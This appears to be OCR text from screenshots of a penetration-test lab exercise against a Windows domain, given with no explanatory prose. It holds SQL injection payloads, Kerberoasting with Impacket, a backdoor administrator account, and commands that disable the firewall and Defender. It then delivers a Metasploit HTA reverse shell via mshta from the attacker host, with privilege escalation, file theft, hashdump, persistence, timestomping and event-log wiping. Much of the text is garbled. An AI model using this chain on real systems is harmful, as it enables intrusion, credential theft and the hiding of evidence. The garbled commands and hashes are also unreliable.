union select null,

Surname: Alice
smith

A.smith
157cafaelbb8581b15f84a33e38e70b1

D: %' and
First name:
Peter

union select null,

157cafae1bbg581b15f84a33e38e70b1
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password (admin)

password (gordonb)
password (1337)
password (pablo)
password (smithy)
password (A.Smith)

Front242 (P.Parker)
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[(o00 ) use/share/doc/python3-inpacket/exanples
+ python3 GetUsersPNs.py cpc.local/P.Parker:Front242 -dc-ip 10.250.0.45 -request
Inpacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName Name Memberof
PasswordLastset LastLogon Delegation

CPCDC/SQLService.cpe.local:60111 SQLService CN=Group Policy Creator Owners,0U=Groups,D
C-local 2023-11-23 17:06:27.072216 2024-01-01 12:46:43.634715

~cpc, D

[-1 CCache file is not found. Skipping ..
$krb5tgs$23$+5QLService§CPC. LOCALSCpC. Local/SQLServicex$920F39eabkabc3edas3sca0188cs23fagasacyl
82fb9alc46f241b7cF69abacyco557d357e0F368ade6c570e37CB4A940340b3971F3F90ac17b1ac86353104090C5
a38ccodc2bfolasalldfedce90ascudaes3cfo5F9abacufocesob Fec2718da3109b8F7dd7cebdcgndsbebsacabdsl
da0esbef0684915205ae5cel F3F30d337a8473177 F16e6c09c4C1d93a6F0204826Fa51a7d439F90be77578c89469
170441cae1d4a244fa221d7b497ecea3s52dab91bdsF3cha72e028032F4d95793¢8e75696b4C38a11234670C782487
691dfe6bF420025c89c2cc5a7bbfbuscaded9arcafce6e4489d5be50940659279e3320a793¢590e6233d78F9351630
6e125de0830b4 30298620332 60a9a560baa e759b624a2 f0a0e71eFI0d1857 ¢4 F7982aae4 F58999cd72cbbC334fe
a6d31bfec8dbIc4676bC7bbI34c284a9ag4eal892]cbesebdsca7 ab3f7d11a42c29Fd54ba3063d67C71F28b706904
d0f7a8be20b67F8efabed7014cOf4Fal348F120b3FOb8C8699722d0482491d582b5F291967219c8b006adcd31b7d651
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[?> and 1=0 union select null_concat(frst_name, 0x0a, last_name.

P_Parker 157cafae 100858 1015184a3323827001

<

IPort 8000

_—

%)

SkibS1gs$235"SLSeNiceSCPC LOCALSCoC local/SQLService

MyPassuord123#

o
Kall Linux P Parker Front242 Windows Server 2019
10.2500.44 10.2500.45
3 P_Parker Froni242
Port: 445
>
GetUserSPNs.py
<
SkibS1gs5235"SLSeNiceSCPC LOCALSCoC local/SQLService
5
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[ (9918 kali)-[/ust/share/doc/python3-inpacket/examples]
-+ python3 wmiexec.py cpc.local/SQLService:MyPassuord1234310.250.0.45
Inpacket v0.11.0 - Copyright 2023 Fortra

[+] SMBV3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands
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Ci\hackme>net user B.jones Wordpass123 /add
The command completed successfully.

Ci\hackme>net localgroup administrators B.jones /add
The command completed successfully.
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[ (10 L) [ Juse/share/doc/python3-impacket/examples |
-+ python3 wmiexec.py cpc.local/B.jones:Wordpass123310.250.0.45
Inpacket v0.11.0 - Copyright 2023 Fortra

[+] SMBV3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute

1 Press help for extra shell commands

[ |
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C:\hackme>NetSh Advfirewall set allprofiles state off
ok.
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C:\>Powershell Set-MpPreference -DisableRealtimeMonitoring 1
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msf6 > use exploit/windows/misc/hta_server

1 No payload configured, defaulting to windows/meterpreter/reverse_tcp
15£6 expLOLt(+ ndous nise lis soruer) > set URIPATH path

URIPATH = path

mSFE exploit(windons /iise/hts server) > run

[*] Exploit running as background job 0.

[+] Exploit completed, but no session was created

B -

[] Started reverse TCP handler on 10.250.0.44:4444
[] Using URL: http://10.250.0.44:8080/path
[#] Server started.





image49.png
C:\>mshta.exe http://10.250.0.44:8080/path
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msf6 exploit(windows/misc/hta server) > [*] 10
.250.0.45 hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.250.0.4
5

[+] Meterpreter session 2 opened (10.250.0.44:
4444 — 10.250.0.45:49810) at 2024-01-03 09:18
111 -0500

ms6 exploit(yndons /mise/iis server) > whoami
[*] exec: whoami

root
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msf6 exploit(indows i/ cerier) > sessions -1 2
[+] Starting interaction with 2...

neterpreter > Il
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meterpreter > getsystem
got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > |
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meterpreter > dir
Listing: €\

Mode size  Type Last modified Name
040777/ruxruxrux 0 dir  2023-11-27 10:17:27 -0500 $Recycle.Bin
040777/rwxTuxTUX 0 dir  2023-12-14 04:50:36 -0500 $WinREAgent
040777/TwxTWxTUX O dir  2023-12-28 09:26:21 -0500 CPCDRIVE
040777/rwxrWxTUX O dir  2023-11-22 20:30:38 -0500 Documents and Settings
000000/ o fif  1969-12-31 19:00:00 -0500 DumpStack.log. tmp
040777/rwxruxrux 0 dir  2021-05-08 04120124 -0400 Perflogs
040555/r-Xr-xr-x 4096 dir  2024-01-03 1044147 -0500 Program Files
040777/rwxrwxrwx 4096 dir  2023-12-11 10:27:51 -0500 Program Files (x86)
040777/rwxrwxrwx 4096 dir  2024-01-03 10:44i49 -0500 Programbata
040777/rwxTuxTUX O dir  2023-11-22 2013055 -0500 Recovery
040777/rwxrwxTUX 0 dir  2023-11-27 06:26:19 -0500 Shares
040777/rwxrwxrwx 4096 dir  2023-11-23 16:50:14 -0500 System Volume Information
040555/r-xr-xr-x 4096 dir  2023-11-27 10:17:10 -0500 Users

040777/rwxrwxrwx 16384 dir  2024-01-07 07:19:51 -0500 Windows

100666/ rw-rvi-Tu- 0 Fil  2024-01-01 11128159 -0500 _output
040777/TwxTuxTUX O dir  2024-01-03 07:23:31 -0500 hackme
040777/rwxrwxrwx 4096 dir  2023-12-39 17:35:53 -0500 inetpub
100666/rw-rw-ru- 1017344 fil ~2009-11-15 16:37:36 -0500 libeay32.dll

000000/ o Fif  1969-12-31 19:00:00 -0500 pagefile.sys
100666/rw-rw-rw- 38311  fil  2024-01-03 10:34i12 -0500 pudump.zip
100666/rw-rw-rw- 479821 fil  2024-01-03 10:41:29 -0500 pudump7.zip

100666/ rw-rw-Tu- 522 il 2010-03-10 22:20:54 -0500 readme.txt
040777/rwxrwxrwx 12288 dir  2023-12-30 17:42:39 -0500 xampp
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meterpreter > cd CPCDRIVE
meterpreter > pud
C:\CPCORIVE

meterpreter > ls

Listing: C:\CPCDRIVE

Mode size Type Last modified Name

040777 /TuxruxTUX O dir  2024-01-07 07:45:18 -0500 Research

meterpreter > cd Research
meterpreter > 1s
Listing: C:\CPCORIVE\Research

Mode size Type Last modified Name

100666/ rw-Tu-ru- 0 Fil  2024-01-07 07:45:06 -0500 ConfidentialResearch.txt.txt

meterpreter > download c:\\ConfidentialResearch.txt.txt

| stdapi_fs_stat: Operation failed: The system cannot find the file specified

meterpreter > download c:\\ConfidentialResearch.txt.

| stdapi_fs_stat: Operation failed: The system cannot find the file specified

meterpreter > download ConfidentialResearch.txt.txt

[+] Downloading: ConfidentialResearch.txt.txt — /usr/share/doc/python3-impacket/examples/Confid
entialResearch. txt. txt

[+] Completed : ConfidentialResearch.txt.txt — /usr/share/doc/python3-impacket/examples/Confid
entialResearch. txt.txt
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b663c8634bd47b47bfIecObsec6f31bd
Guest:501:aad3b435b51404eeaad3b4s35b51404ee:31d6cfe0d162e931b73c59d7e0c089C!
krbtgt:502:aad3b435b51404eeaad3bs35b51404ee: e6c262ea5c1c97e8427dcec635446064
J.Smith:1105:aad3b435b51404eeaad3b435b51404ee:b663c8634bd47b4T7bFIecObtec6f31bd @
P.Parker:1106:aad3b435b51404eeaad3b435b51404ee:594bb6d6d86a285ealcB8bo4Lfd1f306e9
SQLService:1108:aad3b435b51404eeaad3b4s35b51404ee:2277732a68c5204f4be460529e50846!
F.Wolf:1110:aad3b435b51404eeaad3bs35b51404ee:b663c8634bd47b47bfIecObsec6f3lbd 1::
aad3b435b51404eeaad3bs35b51404ee:b663cB8634bd47b47bfIecObsecEfI1b
aad3b435b51404eeaad3bs35b51404ee:b663c8634bd4L7b47bfIecObsecEfI1b
aad3b435b51404eeaad3bs35b51404ee:b663c8634bd47b4TbfecOblec6fI1bd @
ad3b435b51404eeaad3b435b51404ee:9946913e967454a52de66545233c3b60
B.jones:1122:aad3b435b51404eeaad3b435b51404ee:28e7e46626e119c8daefd5919122399-
CPCDC$:1002:aad3b435b51404eeaad3bs35b51404ee: 5dd4188e59aaed745b7 ffabbd1157F9
CLIENT1$:1109:aad3b435b51404eeaad3b435b51404ee:3713e67c828652ffac2148699127e80
CLIENT2$:1111:aad3b435b51404eeaad3b435b51404ee: 74fec563c0f8e48d382c1ed28de84fd2
CPCSERVER2$:1114:aad3b435b51404eeaad3b435b51404ee:55e89257913f09ae20c8ac3900033e89 :
CLIENT3$:1115:aad3b435b51404eeaad3b435b51404ee:7005dc66fdb2d31a8d54ff555118ccd6
neterpreter > If
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meterpreter > run metsvc

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence

[] Example: run exploit/windows/local/persistence OPTION=value [ ...

[+] Creating a meterpreter service on port 31337

[+] Creating a temporary installation directory C:\Users\JCE2E~1.SMI\AppData\Local\Temp\CcruulfA

iozul ...

[+] > Uploading metsrv.x86.dll

[*] > Uploading metsvc-server.exe

[*] >> Uploading metsvc.exe ...

[+] Starting the service
 Installing service metsvc

* Starting service

Service metsvc successfully installed





image57.png
meterpreter > timestomp ConfidentialResearch.txt.txt -v
[+] Showing WACE attributes for ConfidentialResearch. txt.txt

Modified 2022-10-01 16:30:45 -0400
Accessed
Created 2022-10-01 1

2022-10-01 16:

Entry Modifie
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meterpreter > clearev
[+] Wiping 10507 records from Application ...
[*] Wiping 48533 records from System..

[] Wiping 190210 records from Security ...
e o |
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